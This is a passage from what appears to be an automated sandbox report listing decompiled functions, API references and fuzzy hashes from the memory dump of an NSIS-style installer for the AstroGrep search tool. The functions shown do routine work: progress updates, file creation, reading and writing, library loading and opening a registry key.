					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42dbec =  *0x42dbec + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42dbec, 0x7530,  *0x42dbd4), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageA.USER32 ref: 004013F4

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f3c75b006a08d566646381a99556231751fdd45880b457440c556b6d1843a041
Instruction ID: 5e1477e87fe007c5129b9736e49814af818948606251066a5de5a0362d6646fb
Opcode Fuzzy Hash: f3c75b006a08d566646381a99556231751fdd45880b457440c556b6d1843a041
Instruction Fuzzy Hash: DC012831B242109BE7295B389C04B6A369CE710319F51863BF811F72F1D678EC02CB4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040501A, Relevance: 3.0, APIs: 2, Instructions: 32
comCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040501A(signed int __eax) {
				intOrPtr _v0;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t12;

				_t11 =  *0x42e428;
				_t10 =  *0x42e42c;
				__imp__OleInitialize(0); // executed
				 *0x42e4b8 =  *0x42e4b8 | __eax;
				E00403F60(0);
				if(_t10 != 0) {
					_t12 = _t11 + 0xc;
					while(1) {
						_t10 = _t10 - 1;
						if(( *(_t12 - 4) & 0x00000001) != 0 && E00401389( *_t12, _v0) != 0) {
							break;
						}
						_t12 = _t12 + 0x418;
						if(_t10 != 0) {
							continue;
						} else {
						}
						goto L7;
					}
					 *0x42e48c =  *0x42e48c + 1;
				}
				L7:
				E00403F60(0x404);
				__imp__OleUninitialize();
				return  *0x42e48c;
			}

0x0040501b
0x00405022
0x0040502a
0x00405030
0x00405038
0x0040503f
0x00405041
0x00405044
0x00405044
0x00405049
0x00000000
0x00000000
0x0040505a
0x00405062
0x00000000
0x00000000
0x00405064
0x00000000
0x00405062
0x00405066
0x00405066
0x0040506c
0x00405071
0x00405076
0x00405083

APIs

OleInitialize.OLE32(00000000), ref: 0040502A

Part of subcall function 00403F60: SendMessageA.USER32 ref: 00403F72

OleUninitialize.OLE32 ref: 00405076

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 24ebda43c93c3a0e79a2719f9d73c458f4bc0a47607411017357536a7f3aecb3
Instruction ID: 3bb1638c4cb192e16dfd02cc67da28ccb22f822f40d61e8a5dd6919248452ec0
Opcode Fuzzy Hash: 24ebda43c93c3a0e79a2719f9d73c458f4bc0a47607411017357536a7f3aecb3
Instruction Fuzzy Hash: 79F02473A041018BE3616B259C00B5B77A0EB88301F14003AFE44732E1DA3A59028AAE

Uniqueness

Uniqueness Score: -1.00%

Function 004060C8, Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060C8(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x409240);
				_t5 = GetModuleHandleA( *(_t10 + 0x409240));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x409244));
				}
				_t5 = E0040605A(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x004060d0
0x004060d3
0x004060da
0x004060e2
0x004060ee
0x00000000
0x004060f5
0x004060e5
0x004060ec
0x00000000
0x004060fd
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
GetProcAddress.KERNEL32(00000000,?,?,?,00403179,00000009), ref: 004060F5

Part of subcall function 0040605A: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406071
Part of subcall function 0040605A: wsprintfA.USER32 ref: 004060AA
Part of subcall function 0040605A: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004060BE

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction ID: 98ccb2102d83f5f685579eea27cf19d97b4e550a260e46f586538f412ce47dd7
Opcode Fuzzy Hash: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction Fuzzy Hash: 19E08632644111ABD320A7749D0493B72A89E85740302483EF506F2181DB38DC21A669

Uniqueness

Uniqueness Score: -1.00%

Function 004028AA, Relevance: 3.0, APIs: 2, Instructions: 21
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004028AA(signed int __eax) {
				RECT* _t10;
				signed int _t12;
				void* _t16;

				_t12 =  *0x42a868; // 0x1
				SendMessageA( *(_t16 - 8), 0xb, _t12 & __eax, _t10); // executed
				if( *((intOrPtr*)(_t16 - 0x28)) != _t10) {
					InvalidateRect( *(_t16 - 8), _t10, _t10);
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t16 - 4));
				return 0;
			}

0x004028aa
0x004028b9
0x004028c2
0x004028c9
0x004028c9
0x004028d2
0x004028de

APIs

SendMessageA.USER32 ref: 004028B9
InvalidateRect.USER32(?), ref: 004028C9

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: InvalidateMessageRectSend
String ID:
API String ID: 909852535-0
Opcode ID: aeb50c85f6bd4643b9d68925b2460725ce61c84df534f36f5868be4476b80fa0
Instruction ID: be23d6fc8d776c2babc1d674e4d633496abb7596598885af0ff4512d456a32a5
Opcode Fuzzy Hash: aeb50c85f6bd4643b9d68925b2460725ce61c84df534f36f5868be4476b80fa0
Instruction Fuzzy Hash: 8EE08C72B00008AFEB11DF94EC849AEBBB9EB40319F10003AF202B10A0D3301C52EA38

Uniqueness

Uniqueness Score: -1.00%

Function 00401DBE, Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401DD4
KiUserCallbackDispatcher.NTDLL(00000000,00000000), ref: 00401DDF

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CallbackDispatcherShowUserWindow
String ID:
API String ID: 82835404-0
Opcode ID: 631860118f17632e048306a62bf20ea73867afe44b58029fb558df6f2f837031
Instruction ID: c8fe5530bc3a284fb496cf405a900608927f238f86a8d8635fe2229634aa8b82
Opcode Fuzzy Hash: 631860118f17632e048306a62bf20ea73867afe44b58029fb558df6f2f837031
Instruction Fuzzy Hash: C0E08C32A041009BEB20FBB5AA488AE33659B50369B204437E102F25D1C6B89C429E3A

Uniqueness

Uniqueness Score: -1.00%

Function 004059A2, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004059A2(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x004059a6
0x004059b3
0x004059c8
0x004059ce

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE,80000000,00000003), ref: 004059A6
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction ID: 2848333a8a5b20597e43067d17cc290ce391feab13c7f73248cb22e1b8f9cacf
Opcode Fuzzy Hash: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction Fuzzy Hash: 5CD09E31658301AFEF098F20DD16F2EBAA2EB84B01F10962CBA82950E0D6755C159B26

Uniqueness

Uniqueness Score: -1.00%

Function 0040597D, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040597D(CHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesA(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesA(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x00405982
0x00405988
0x0040598d
0x00405996
0x00405996
0x0040599f

APIs

GetFileAttributesA.KERNELBASE(?,?,00405595,?,?,00000000,00405778,?,?,?,?), ref: 00405982
SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405996

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction ID: d845d86c17b980f18525549d7b015dd21524309b6d76b06211fdae883a44da1e
Opcode Fuzzy Hash: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction Fuzzy Hash: DED01272908121BFC2102728ED0C89FBF65EB543727018B31FDB9E22F0D7304C568AA6

Uniqueness

Uniqueness Score: -1.00%

Function 004035D5, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004035D5() {
				void* _t1;
				void* _t3;
				signed int _t6;

				_t1 =  *0x409018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x409018 =  *0x409018 | 0xffffffff;
					_t6 =  *0x409018;
				}
				E0040361A();
				_t3 = E004055D1(_t6, "C:\\Users\\Albus\\AppData\\Local\\Temp\\nsa2731.tmp\\", 7); // executed
				return _t3;
			}

0x004035d5
0x004035dd
0x004035e0
0x004035e6
0x004035e6
0x004035e6
0x004035ed
0x004035f9
0x004035fe

APIs

CloseHandle.KERNEL32(FFFFFFFF), ref: 004035E0

Strings

C:\Users\user\AppData\Local\Temp\nsa2731.tmp\, xrefs: 004035F4

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\
API String ID: 2962429428-1291024089
Opcode ID: b4e71e5da018f29a942a103bdf59fc510cec2df476782853edbd034567b71d58
Instruction ID: 0f8781e1bbdd9c2adc6ca0ac5482970d0aa05edb5ea4ec715affa2ba15943bce
Opcode Fuzzy Hash: b4e71e5da018f29a942a103bdf59fc510cec2df476782853edbd034567b71d58
Instruction Fuzzy Hash: 58C01230504A00B7C1386F789D4A9053A546740336BE44765B4B5B15F2C73C5A85956D

Uniqueness

Uniqueness Score: -1.00%

Function 0040548B, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040548B(CHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryA(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405491
0x00405499
0x00000000
0x0040549f
0x00000000

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403102,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00405491
GetLastError.KERNEL32 ref: 0040549F

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction ID: a4c09d903a68db5e1e5a8a61abb96ed160ccf8e5b17bdb7d1f8a9ed05c9a91ae
Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction Fuzzy Hash: 9FC04C30629541EADA515B209E097577E54AB50742F2045756606E10E0D6349551D92E

Uniqueness

Uniqueness Score: -1.00%

Function 0040265E, Relevance: 1.5, APIs: 1, Instructions: 27
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E0040265E(char __ebx, char* __esi) {
				void* _t5;
				int _t8;
				char _t11;
				void* _t13;
				void* _t15;
				void* _t19;

				_t17 = __esi;
				_t11 = __ebx;
				_t5 = E00405CA6(_t13, _t15);
				if(_t5 == __ebx) {
					L2:
					 *((intOrPtr*)(_t19 - 4)) = 1;
					 *_t17 = _t11;
				} else {
					_t8 = FindNextFileA(_t5, _t19 - 0x1a4); // executed
					if(_t8 != 0) {
						_push(_t19 - 0x178);
						_push(__esi);
						E00405D2F();
					} else {
						goto L2;
					}
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x0040265e
0x0040265e
0x0040265f
0x00402666
0x0040267a
0x0040267a
0x00402681
0x00402668
0x00402670
0x00402678
0x004026bf
0x004026c0
0x004027f5
0x00000000
0x00000000
0x00000000
0x00402678
0x004028d2
0x004028de

APIs

FindNextFileA.KERNELBASE(00000000,?), ref: 00402670

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: aeb2cb0fec585eae4c491a65588537bed9944789986222d2921ea485206fe541
Instruction ID: 40327f167f56cc920aeb651fb5f2ad05af9efb3577a6d189e0bd99497a83f7e5
Opcode Fuzzy Hash: aeb2cb0fec585eae4c491a65588537bed9944789986222d2921ea485206fe541
Instruction Fuzzy Hash: 3AE0E5326041008BF710EBA1DD48AAE73A8DF10304F20447BD201E21C0E2B94985AB3A

Uniqueness

Uniqueness Score: -1.00%

Function 00402616, Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00402616(void* __eflags) {
				long _t6;
				long _t8;
				LONG* _t10;
				void* _t12;
				void* _t15;
				void* _t17;

				_push(ds);
				if(__eflags != 0) {
					_t6 = E00402A1D(2);
					_t8 = SetFilePointer(E00405CA6(_t12, _t15), _t6, _t10,  *(_t17 - 0x1c)); // executed
					if( *((intOrPtr*)(_t17 - 0x24)) >= _t10) {
						_push(_t8);
						E00405C8D();
					}
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x00402616
0x00402617
0x00402623
0x00402630
0x00402639
0x00402875
0x00402877
0x00402877
0x00402639
0x004028d2
0x004028de

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402630

Part of subcall function 00405C8D: wsprintfA.USER32 ref: 00405C9A

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 764acf2aeb277f9e06bdeffef5fa042cff7d54f69f19df9b32342fbbe382f709
Instruction ID: a9483199a9c1f24fdd03f346660dbac79c1e67f8a05fdc412783a5a7fba403a9
Opcode Fuzzy Hash: 764acf2aeb277f9e06bdeffef5fa042cff7d54f69f19df9b32342fbbe382f709
Instruction Fuzzy Hash: BCE04F76A04100ABF701FBA6AE49DBF776ADB50318B60453BF601F10C1D67D89069A3E

Uniqueness

Uniqueness Score: -1.00%

Function 00402B44, Relevance: 1.5, APIs: 1, Instructions: 22
registryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00402B44(void* __eflags, void* _a4) {
				char* _t8;
				intOrPtr _t9;
				signed int _t11;

				_t8 = E00402A3A(0x22);
				_t9 =  *0x40a810; // 0x18f724
				_t11 = RegOpenKeyExA(E00402B2F( *((intOrPtr*)(_t9 + 4))), _t8, 0,  *0x42e4b0 | _a4,  &_a4); // executed
				asm("sbb eax, eax");
				return  !( ~_t11) & _a4;
			}

0x00402b58
0x00402b5e
0x00402b6c
0x00402b74
0x00402b7c

APIs

RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 08f437b6b575c0d1784f99ac72875e6d7de6160551833be987b148fec970e4e7
Instruction ID: d438f0a484ed9c160f568b140fbb6a6f0821f4cba08bd088e2e240e06c4f75a3
Opcode Fuzzy Hash: 08f437b6b575c0d1784f99ac72875e6d7de6160551833be987b148fec970e4e7
Instruction Fuzzy Hash: 5FE04676240208AFDB00EFA9ED4AFA637ECBB18705F008425B609E60A1C678E5508B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405A49, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A49(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405a4d
0x00405a5d
0x00405a65
0x00000000
0x00405a6c
0x00000000
0x00405a6e

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000), ref: 00405A5D

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: 4baa6dbb94b5aed14ede1987b2b874979685841cdf923a54f3be7db8892ddb6c
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: 65E0EC3265425EAFDF109E659C40EEB7BACEB053A0F008933F925E2150D231E821DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405A1A, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A1A(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405a1e
0x00405a2e
0x00405a36
0x00000000
0x00405a3d
0x00000000
0x00405a3f

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000), ref: 00405A2E

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction ID: b949637607fe9c5fc006a161b6664aa16a088e5f06d71f7b71a40b2ab1c7b417
Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction Fuzzy Hash: 80E0EC3261425AABDF109E959C40FEB7B6CEF45360F048532F915E6590E231E8219FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403F14, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F14(intOrPtr _a12) {
				intOrPtr _v0;
				struct HWND__* _v4;
				int _t7;
				void* _t8;
				void* _t9;
				void* _t10;

				_t7 = SetDlgItemTextA(_v4, _v0 + 0x3e8, E00405D51(_t8, _t9, _t10, 0, _a12)); // executed
				return _t7;
			}

0x00403f2e
0x00403f33

APIs

SetDlgItemTextA.USER32(?,?,00000000), ref: 00403F2E

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 8aa622d62f3612e386cdd8105f3b6da4d9bec96a62dcb677111357ff110a6e3b
Instruction ID: cbe768feb37b9e58959a63a18694cb062dc1df2e3d0fb8c696893596ad792950
Opcode Fuzzy Hash: 8aa622d62f3612e386cdd8105f3b6da4d9bec96a62dcb677111357ff110a6e3b
Instruction Fuzzy Hash: 9FC04C75148600BFDA42AB95CC42F1FB799EF94715F00C92EB19CA51E1CA35C420DA26

Uniqueness

Uniqueness Score: -1.00%

Function 00403F60, Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F60(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x42dbd8; // 0x603fc
				if(_t2 != 0) {
					_t3 = SendMessageA(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x00403f60
0x00403f67
0x00403f72
0x00000000
0x00403f72
0x00403f78

APIs

SendMessageA.USER32 ref: 00403F72

Memory Dump Source

